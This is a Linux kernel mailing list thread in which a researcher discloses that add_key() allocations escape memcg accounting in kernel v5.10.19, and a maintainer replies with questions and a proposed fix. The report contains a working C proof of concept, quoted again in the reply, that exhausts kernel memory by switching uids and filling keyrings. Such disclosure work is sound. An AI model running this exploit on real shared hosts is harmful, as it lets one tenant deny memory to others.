add_key() syscall can lead to bypassing memcg limits

add_key() syscall can lead to bypassing memcg limits

[杨昱天]

[-- Attachment #1: Type: text/plain, Size: 2776 bytes --]

Hi, our team has found a bug in key_alloc() on Linux kernel v5.10.19, which leads to bypassing memcg limits.
The bug is caused by the code snippets listed below:

/*--------------- key.c --------------------*/
...
276/* allocate and initialise the key and its description */
277key = kmem_cache_zalloc(key_jar, GFP_KERNEL);
278if (!key)
279goto no_memory_2;
...
/*---------------- end ---------------------*/

/*------------- keyctl.c -------------------*/
...
95  if (_description) {
96description = strndup_user(_description, KEY_MAX_DESC_SIZE);
97if (IS_ERR(description)) {
...
/*--------------- end ---------------------*/

Each user can allocate ~20KB uncharged memory by calling add_key syscall to trigger the listed code.
Code at line 277 in the first snippet allocates a new struct key object that is not charged by memcg, as no accouting flag is passed to neither the
allocation site here nor the key_jar's creating site. At line 96 in the second snippet, we found that memory used by description of a key, 
which has a maximum size of 4096 bytes, is also not charged. A user can allocate multiple keys and consume more uncharged memory. 
The upper limit of key memory's size is set to 20,000 bytes by default for each user.

The bug can cause severe memcg limit bypassing if a process can change its uid and bypass the above limit. For example, a user may own root privilege 
in its user namespace and leverage seteuid() syscall to continuously change its uid. 
Our evaluation on QEMU v5.1.0 + cgroup v2 shows that, under this assumption, we could consume ~2.2G memory by allocating keys from 100,000 different uids, while the memory charged by memcg is ~215MB.

The PoC code is listed below:

/*--------------- PoC --------------------*/
#include <asm/unistd.h>
#include <linux/keyctl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

char desc[4000];
void alloc_key_user(int id) {
  int i = 0, times = -1;
  __s32 serial = 0;
  int res_uid = seteuid(id);
  if (res_uid == 0)
    printf("uid allocation success on id %d!\n", id);
  else {
    printf("uid allocation failed on id %d!\n", id);
    return;
  }
  srand(time(0));
  while (serial != 0xffffffff) {
    ++times;
    for (i = 0; i < 3900; ++i)
      desc[i] = rand()%255 + 1;
    desc[i] = '\0';
    serial = syscall(__NR_add_key, "user", desc, "payload",
      strlen("payload"), KEY_SPEC_SESSION_KEYRING);
  }
  printf("allocation happened %d times.\n", times);
  seteuid(0);
}

int main() {
  int loop_times = 0;
  int start_uid = 0;
  scanf("%d %d", &start_uid, &loop_times);
  for (int i = 0; i < loop_times; ++i) {
    alloc_key_user(i+start_uid);
  }
  return 0;
}

/*-------------PoC end ---------------------*/

Thanks!

Best regards,
Yutian Yang

[-- Attachment #2: Type: text/html, Size: 11397 bytes --]

Re: add_key() syscall can lead to bypassing memcg limits

[Michal Hocko]

Cc keyctl maintainers

On Sun 28-03-21 10:30:34, 杨昱天 wrote:
> Hi, our team has found a bug in key_alloc() on Linux kernel v5.10.19, which leads to bypassing memcg limits.
> The bug is caused by the code snippets listed below:
> 
> /*--------------- key.c --------------------*/
> ...
> 276/* allocate and initialise the key and its description */
> 277key = kmem_cache_zalloc(key_jar, GFP_KERNEL);
> 278if (!key)
> 279goto no_memory_2;
> ...
> /*---------------- end ---------------------*/
> 
> /*------------- keyctl.c -------------------*/
> ...
> 95  if (_description) {
> 96description = strndup_user(_description, KEY_MAX_DESC_SIZE);
> 97if (IS_ERR(description)) {
> ...
> /*--------------- end ---------------------*/
> 
> Each user can allocate ~20KB uncharged memory by calling add_key syscall to trigger the listed code.
> Code at line 277 in the first snippet allocates a new struct key object that is not charged by memcg, as no accouting flag is passed to neither the
> allocation site here nor the key_jar's creating site. At line 96 in the second snippet, we found that memory used by description of a key, 
> which has a maximum size of 4096 bytes, is also not charged. A user can allocate multiple keys and consume more uncharged memory. 
> The upper limit of key memory's size is set to 20,000 bytes by default for each user.
> 
> The bug can cause severe memcg limit bypassing if a process can change its uid and bypass the above limit. For example, a user may own root privilege 
> in its user namespace and leverage seteuid() syscall to continuously change its uid. 
> Our evaluation on QEMU v5.1.0 + cgroup v2 shows that, under this assumption, we could consume ~2.2G memory by allocating keys from 100,000 different uids, while the memory charged by memcg is ~215MB.

Can the user/attacker create all those different uids? Or what would be
a typical scenario where this a threat? In other words is this a
practical attack vector?

If yes then the mitigation woulld be quite easy for the key_jar (just
add __GFP_ACCOUNT). I am not aware we would have strndup_user
alternative with kemecg enabled so this would have to be added.

> 
> The PoC code is listed below:
> 
> /*--------------- PoC --------------------*/
> #include <asm/unistd.h>
> #include <linux/keyctl.h>
> #include <unistd.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <time.h>
> 
> char desc[4000];
> void alloc_key_user(int id) {
>   int i = 0, times = -1;
>   __s32 serial = 0;
>   int res_uid = seteuid(id);
>   if (res_uid == 0)
>     printf("uid allocation success on id %d!\n", id);
>   else {
>     printf("uid allocation failed on id %d!\n", id);
>     return;
>   }
>   srand(time(0));
>   while (serial != 0xffffffff) {
>     ++times;
>     for (i = 0; i < 3900; ++i)
>       desc[i] = rand()%255 + 1;
>     desc[i] = '\0';
>     serial = syscall(__NR_add_key, "user", desc, "payload",
>       strlen("payload"), KEY_SPEC_SESSION_KEYRING);
>   }
>   printf("allocation happened %d times.\n", times);
>   seteuid(0);
> }
> 
> int main() {
>   int loop_times = 0;
>   int start_uid = 0;
>   scanf("%d %d", &start_uid, &loop_times);
>   for (int i = 0; i < loop_times; ++i) {
>     alloc_key_user(i+start_uid);
>   }
>   return 0;
> }
> 
> /*-------------PoC end ---------------------*/
> 
> Thanks!
> 
> Best regards,
> Yutian Yang

-- 
Michal Hocko
SUSE Labs